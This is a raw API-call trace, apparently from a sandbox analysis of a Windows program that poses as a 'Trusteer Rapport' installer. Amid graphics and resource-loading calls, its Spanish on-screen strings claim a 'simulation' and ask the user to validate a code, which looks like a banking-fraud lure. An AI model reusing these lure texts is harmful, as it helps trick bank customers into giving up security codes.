	[0119.235] FlatSB_SetScrollProp (param_1=0x10260, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.235] FlatSB_SetScrollInfo (param_1=0x10260, code=0, psi=0x19f9ae, fRedraw=1) returned 0
	[0119.236] GetTextExtentPoint32A (in: hdc=0xa010691, lpString="0", c=1, psizl=0x19fa74 | out: psizl=0x19fa74) returned 1
	[0119.236] FlatSB_SetScrollProp (param_1=0x10260, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.236] FlatSB_SetScrollProp (param_1=0x10260, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.236] FlatSB_SetScrollInfo (param_1=0x10260, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0119.236] FlatSB_SetScrollProp (param_1=0x10260, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.236] FlatSB_SetScrollProp (param_1=0x10260, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.236] FlatSB_SetScrollInfo (param_1=0x10260, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0119.236] FlatSB_SetScrollProp (param_1=0x10260, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.236] FlatSB_SetScrollProp (param_1=0x10260, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.236] FlatSB_SetScrollInfo (param_1=0x10260, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0119.237] FlatSB_SetScrollProp (param_1=0x10260, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.237] FlatSB_SetScrollProp (param_1=0x10260, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.237] FlatSB_SetScrollInfo (param_1=0x10260, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0119.237] FreeResource (hResData=0x6520e8) returned 0
	[0119.237] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.237] UnrealizeObject (h=0x1b100652) returned 1
	[0119.237] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.237] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.237] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.237] DrawTextExA (in: hdc=0xa0100d0, lpchText="Atención: No se trata de una trasferencia, esta es solo una simulación con datos ficticios generados por el sistema para una verificación de identidad, sin embargo el código tiene que ser validado.", cchText=197, lprc=0x19fc59, format=0x450, lpdtp=0x0 | out: lpchText="Atención: No se trata de una trasferencia, esta es solo una simulación con datos ficticios generados por el sistema para una verificación de identidad, sin embargo el código tiene que ser validado.", lprc=0x19fc59) returned 39
	[0119.238] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.238] UnrealizeObject (h=0x1b100652) returned 1
	[0119.238] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.238] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.238] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.238] DrawTextExA (in: hdc=0xa0100d0, lpchText="Instalando...", cchText=13, lprc=0x19fc59, format=0x440, lpdtp=0x0 | out: lpchText="Instalando...", lprc=0x19fc59) returned 14
	[0119.243] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfSec", wLanguage=0x0) returned 0x529d50
	[0119.243] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfSec", wLanguage=0x0) returned 0x529d50
	[0119.244] LoadResource (hModule=0x400000, hResInfo=0x529d50) returned 0x1435d14
	[0119.244] SizeofResource (hModule=0x400000, hResInfo=0x529d50) returned 0x231b1a
	[0119.244] LockResource (hResData=0x1435d14) returned 0x1435d14
	[0119.244] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.244] UnrealizeObject (h=0x1b100652) returned 1
	[0119.244] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.244] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.244] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.244] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.244] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Instalación de software Trusteer Rapport", len=0x28 | out: pbstr=0x19f808*="Instalación de software Trusteer Rapport") returned 1
	[0119.244] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.244] UnrealizeObject (h=0x1b100652) returned 1
	[0119.244] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.244] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.244] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.244] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.244] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Manténgase en sintonía, es posible que deba proporcionar información durante el proceso.", len=0x58 | out: pbstr=0x19f808*="Manténgase en sintonía, es posible que deba proporcionar información durante el proceso.") returned 1
	[0119.245] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.245] UnrealizeObject (h=0x1b100652) returned 1
	[0119.245] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.245] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.245] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.245] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.245] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Por favor espere hasta que el proceso de instalación termine.", len=0x3d | out: pbstr=0x19f808*="Por favor espere hasta que el proceso de instalación termine.") returned 1
	[0119.245] RtlLockHeap (Heap=0x230000) returned 1
	[0119.245] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0088) returned 1
	[0119.245] RtlRestoreLastWin32Error () returned 0x0
	[0119.245] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.245] UnrealizeObject (h=0x1b100652) returned 1
	[0119.246] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.246] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.246] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.246] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.258] RtlLockHeap (Heap=0x230000) returned 1
	[0119.258] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0088) returned 1
	[0119.258] RtlRestoreLastWin32Error () returned 0x0
	[0119.264] RtlLockHeap (Heap=0x230000) returned 1
	[0119.264] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0088) returned 1
	[0119.264] RtlRestoreLastWin32Error () returned 0x0
	[0119.265] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.269] RtlLockHeap (Heap=0x230000) returned 1
	[0119.269] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0088) returned 1
	[0119.269] RtlRestoreLastWin32Error () returned 0x0
	[0119.269] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.269] UnrealizeObject (h=0x1b100652) returned 1
	[0119.269] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.269] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.269] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.269] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.270] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Atención: No se trata de una trasferencia, esta es solo una simulación con datos ficticios generados por el sistema para una verificación de identidad, sin embargo el código tiene que ser validado.", len=0xc5 | out: pbstr=0x19f808*="Atención: No se trata de una trasferencia, esta es solo una simulación con datos ficticios generados por el sistema para una verificación de identidad, sin embargo el código tiene que ser validado.") returned 1
	[0119.279] RtlLockHeap (Heap=0x230000) returned 1
	[0119.279] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0088) returned 1
	[0119.279] RtlRestoreLastWin32Error () returned 0x0
	[0119.281] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.281] UnrealizeObject (h=0x1b100652) returned 1
	[0119.281] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.281] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.281] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.281] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.281] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.281] UnrealizeObject (h=0x1b100652) returned 1
	[0119.281] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.281] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.281] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.281] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.282] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.282] UnrealizeObject (h=0x1b100652) returned 1
	[0119.282] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.282] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.282] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.282] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.282] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x7285ca4, szCSDVersion="ÐY(\x07Ô\x02") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.282] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0119.282] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x72860f4 | out: lpData=0x72860f4) returned 1
	[0119.282] VerQueryValueA (in: pBlock=0x72860f4, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x728611c, puLen=0x19f7e4) returned 1
	[0119.282] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.282] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x4e6732, szCSDVersion="\x07") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.283] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0119.283] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x7286eb0 | out: lpData=0x7286eb0) returned 1
	[0119.283] VerQueryValueA (in: pBlock=0x7286eb0, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x7286ed8, puLen=0x19f7e4) returned 1
	[0119.283] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.283] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x4e6732, szCSDVersion="\x07") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.283] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0119.283] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x728740c | out: lpData=0x728740c) returned 1
	[0119.283] VerQueryValueA (in: pBlock=0x728740c, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x7287434, puLen=0x19f7e4) returned 1
	[0119.283] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.284] FlatSB_SetScrollProp (param_1=0x10268, index=0x100, newValue=0x0, param_4=1) returned 0
	[0119.284] FlatSB_SetScrollProp (param_1=0x10268, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.284] FlatSB_SetScrollInfo (param_1=0x10268, code=1, psi=0x19e5f6, fRedraw=1) returned 0
	[0119.285] FlatSB_SetScrollProp (param_1=0x10268, index=0x200, newValue=0x0, param_4=1) returned 0
	[0119.285] FlatSB_SetScrollProp (param_1=0x10268, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.285] FlatSB_SetScrollInfo (param_1=0x10268, code=0, psi=0x19e5f6, fRedraw=1) returned 0
	[0119.285] FlatSB_SetScrollProp (param_1=0x10268, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.285] FlatSB_SetScrollProp (param_1=0x10268, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.285] FlatSB_SetScrollInfo (param_1=0x10268, code=1, psi=0x19f002, fRedraw=1) returned 0
	[0119.285] FlatSB_SetScrollProp (param_1=0x10268, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.285] FlatSB_SetScrollProp (param_1=0x10268, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.285] FlatSB_SetScrollInfo (param_1=0x10268, code=0, psi=0x19f002, fRedraw=1) returned 0
	[0119.285] FlatSB_SetScrollProp (param_1=0x10268, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.285] FlatSB_SetScrollProp (param_1=0x10268, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.285] FlatSB_SetScrollInfo (param_1=0x10268, code=1, psi=0x19f9ae, fRedraw=1) returned 0
	[0119.286] FlatSB_SetScrollProp (param_1=0x10268, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.286] FlatSB_SetScrollProp (param_1=0x10268, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.286] FlatSB_SetScrollInfo (param_1=0x10268, code=0, psi=0x19f9ae, fRedraw=1) returned 0
	[0119.287] GetTextExtentPoint32A (in: hdc=0xa010691, lpString="0", c=1, psizl=0x19fa74 | out: psizl=0x19fa74) returned 1
	[0119.287] FlatSB_SetScrollProp (param_1=0x10268, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.287] FlatSB_SetScrollProp (param_1=0x10268, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.287] FlatSB_SetScrollInfo (param_1=0x10268, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0119.287] FlatSB_SetScrollProp (param_1=0x10268, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.287] FlatSB_SetScrollProp (param_1=0x10268, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.287] FlatSB_SetScrollInfo (param_1=0x10268, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0119.287] FlatSB_SetScrollProp (param_1=0x10268, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.287] FlatSB_SetScrollProp (param_1=0x10268, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.287] FlatSB_SetScrollInfo (param_1=0x10268, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0119.288] FlatSB_SetScrollProp (param_1=0x10268, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.288] FlatSB_SetScrollProp (param_1=0x10268, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.288] FlatSB_SetScrollInfo (param_1=0x10268, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0119.288] FreeResource (hResData=0x1435d14) returned 0
	[0119.288] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.288] UnrealizeObject (h=0x1b100652) returned 1
	[0119.288] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.288] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.288] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.288] DrawTextExA (in: hdc=0xa0100d0, lpchText="Instalando...", cchText=13, lprc=0x19fc59, format=0x440, lpdtp=0x0 | out: lpchText="Instalando...", lprc=0x19fc59) returned 14
	[0119.288] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.288] UnrealizeObject (h=0x1b100652) returned 1
	[0119.288] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.288] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.288] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.288] DrawTextExA (in: hdc=0xa0100d0, lpchText="Atención: No se trata de una trasferencia, esta es solo una simulación con datos ficticios generados por el sistema para una verificación de identidad, sin embargo el código tiene que ser validado.", cchText=197, lprc=0x19fc59, format=0x450, lpdtp=0x0 | out: lpchText="Atención: No se trata de una trasferencia, esta es solo una simulación con datos ficticios generados por el sistema para una verificación de identidad, sin embargo el código tiene que ser validado.", lprc=0x19fc59) returned 39
	[0119.295] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfFAL", wLanguage=0x0) returned 0x529d30
	[0119.295] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfFAL", wLanguage=0x0) returned 0x529d30
	[0119.295] LoadResource (hModule=0x400000, hResInfo=0x529d30) returned 0x10ab6d0
	[0119.295] SizeofResource (hModule=0x400000, hResInfo=0x529d30) returned 0x1fac14
	[0119.295] LockResource (hResData=0x10ab6d0) returned 0x10ab6d0
	[0119.298] RtlLockHeap (Heap=0x230000) returned 1
	[0119.298] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0090) returned 1
	[0119.298] RtlRestoreLastWin32Error () returned 0x0
	[0119.299] CreatePenIndirect (plpen=0x19f580) returned 0x13007df
	[0119.299] SetROP2 (hdc=0x50107dd, rop2=13) returned 13
	[0119.299] CreateBrushIndirect (plbrush=0x19f584) returned 0x1c10075f
	[0119.299] CreatePenIndirect (plpen=0x19f578) returned 0x13007e0
	[0119.299] SetROP2 (hdc=0x50107dd, rop2=13) returned 13
	[0119.299] UnrealizeObject (h=0x1b100652) returned 1
	[0119.299] SelectObject (hdc=0x50107dd, h=0x1b100652) returned 0x1900015
	[0119.299] SetBkColor (hdc=0x50107dd, color=0xffffff) returned 0xff00ff
	[0119.299] SetBkMode (hdc=0x50107dd, mode=2) returned 2
	[0119.299] RoundRect (hdc=0x50107dd, left=0, top=0, right=521, bottom=25, width=6, height=6) returned 1
	[0119.299] GetTextExtentPoint32A (in: hdc=0x50107dd, lpString="0%", c=2, psizl=0x19f5b8 | out: psizl=0x19f5b8) returned 1
	[0119.299] GetTextExtentPoint32A (in: hdc=0x50107dd, lpString="0%", c=2, psizl=0x19f5b4 | out: psizl=0x19f5b4) returned 1
	[0119.299] UnrealizeObject (h=0x1900015) returned 1
	[0119.299] SelectObject (hdc=0x50107dd, h=0x1900015) returned 0x1900015
	[0119.299] SetBkColor (hdc=0x50107dd, color=0xff000000) returned 0xffffff
	[0119.299] SetBkMode (hdc=0x50107dd, mode=1) returned 2
	[0119.299] ExtTextOutA (hdc=0x50107dd, x=250, y=4, options=0x0, lprect=0x0, lpString="0%", c=0x2, lpDx=0x0) returned 1
	[0119.300] GetTextExtentPoint32A (in: hdc=0x50107dd, lpString="0%", c=2, psizl=0x19f5a0 | out: psizl=0x19f5a0) returned 1
	[0119.300] MoveToEx (in: hdc=0x50107dd, x=271, y=4, lppt=0x0 | out: lppt=0x0) returned 1
	[0119.300] FlatSB_SetScrollProp (param_1=0x10270, index=0x100, newValue=0x0, param_4=1) returned 0
	[0119.300] FlatSB_SetScrollProp (param_1=0x10270, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.300] FlatSB_SetScrollInfo (param_1=0x10270, code=1, psi=0x19e26e, fRedraw=1) returned 0
	[0119.300] FlatSB_SetScrollProp (param_1=0x10270, index=0x200, newValue=0x0, param_4=1) returned 0
	[0119.300] FlatSB_SetScrollProp (param_1=0x10270, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.300] FlatSB_SetScrollInfo (param_1=0x10270, code=0, psi=0x19e26e, fRedraw=1) returned 0
	[0119.301] FlatSB_SetScrollProp (param_1=0x10270, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.301] FlatSB_SetScrollProp (param_1=0x10270, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.301] FlatSB_SetScrollInfo (param_1=0x10270, code=1, psi=0x19ec7a, fRedraw=1) returned 0
	[0119.301] FlatSB_SetScrollProp (param_1=0x10270, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.301] FlatSB_SetScrollProp (param_1=0x10270, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.301] FlatSB_SetScrollInfo (param_1=0x10270, code=0, psi=0x19ec7a, fRedraw=1) returned 0
	[0119.301] FlatSB_SetScrollProp (param_1=0x10270, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.301] FlatSB_SetScrollProp (param_1=0x10270, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.301] FlatSB_SetScrollInfo (param_1=0x10270, code=1, psi=0x19f62a, fRedraw=1) returned 0
	[0119.301] FlatSB_SetScrollProp (param_1=0x10270, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.301] FlatSB_SetScrollProp (param_1=0x10270, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.301] FlatSB_SetScrollInfo (param_1=0x10270, code=0, psi=0x19f62a, fRedraw=1) returned 0
	[0119.303] SetViewportOrgEx (in: hdc=0xa010691, x=16, y=240, lppt=0x0 | out: lppt=0x0) returned 1
	[0119.303] IntersectClipRect (hdc=0xa010691, left=0, top=0, right=521, bottom=25) returned 3
	[0119.303] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.303] UnrealizeObject (h=0x1b100652) returned 1
	[0119.303] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.303] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.303] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.303] GetDeviceCaps (hdc=0xa010691, index=12) returned 32
	[0119.303] GetDeviceCaps (hdc=0xa010691, index=14) returned 1
	[0119.303] SetStretchBltMode (hdc=0xa010691, mode=3) returned 1
	[0119.303] SetROP2 (hdc=0x60107df, rop2=13) returned 13
	[0119.303] UnrealizeObject (h=0x1900015) returned 1
	[0119.303] SelectObject (hdc=0x60107df, h=0x1900015) returned 0x1900010
	[0119.303] SetBkColor (hdc=0x60107df, color=0xff000000) returned 0xffffff
	[0119.303] SetBkMode (hdc=0x60107df, mode=1) returned 2
	[0119.303] CreateCompatibleDC (hdc=0x0) returned 0x80107dd
	[0119.303] SelectObject (hdc=0x80107dd, h=0x30507e1) returned 0x185000f
	[0119.303] CreateCompatibleBitmap (hdc=0x60107df, cx=1, cy=1) returned 0x40507e5
	[0119.303] SelectObject (hdc=0x80107dd, h=0x40507e5) returned 0x30507e1
	[0119.303] MaskBlt (hdcDest=0xa010691, xDest=0, yDest=0, width=521, height=25, hdcSrc=0x60107df, xSrc=0, ySrc=0, hbmMask=0x30507e1, xMask=0, yMask=0, rop=0xccaa0029) returned 1
	[0119.303] SelectObject (hdc=0x80107dd, h=0x30507e1) returned 0x40507e5
	[0119.303] DeleteObject (ho=0x40507e5) returned 1
	[0119.303] SelectObject (hdc=0x80107dd, h=0x185000f) returned 0x30507e1
	[0119.303] DeleteDC (hdc=0x80107dd) returned 1
	[0119.304] RtlLockHeap (Heap=0x230000) returned 1
	[0119.304] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0090) returned 1
	[0119.304] RtlRestoreLastWin32Error () returned 0x0
	[0119.304] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.304] UnrealizeObject (h=0x1b100652) returned 1
	[0119.304] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.304] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.304] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.304] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.316] RtlLockHeap (Heap=0x230000) returned 1
	[0119.316] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0090) returned 1
	[0119.316] RtlRestoreLastWin32Error () returned 0x0
	[0119.324] RtlLockHeap (Heap=0x230000) returned 1
	[0119.324] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0090) returned 1
	[0119.324] RtlRestoreLastWin32Error () returned 0x0
	[0119.326] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.326] UnrealizeObject (h=0x1b100652) returned 1
	[0119.326] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.326] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.326] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.326] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.326] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.326] UnrealizeObject (h=0x1b100652) returned 1
	[0119.326] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.326] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.326] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.326] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.327] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.327] UnrealizeObject (h=0x1b100652) returned 1
	[0119.327] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.327] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.327] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.327] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.327] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x728f37c, szCSDVersion="\x98ð(\x07ä\x02") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.327] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
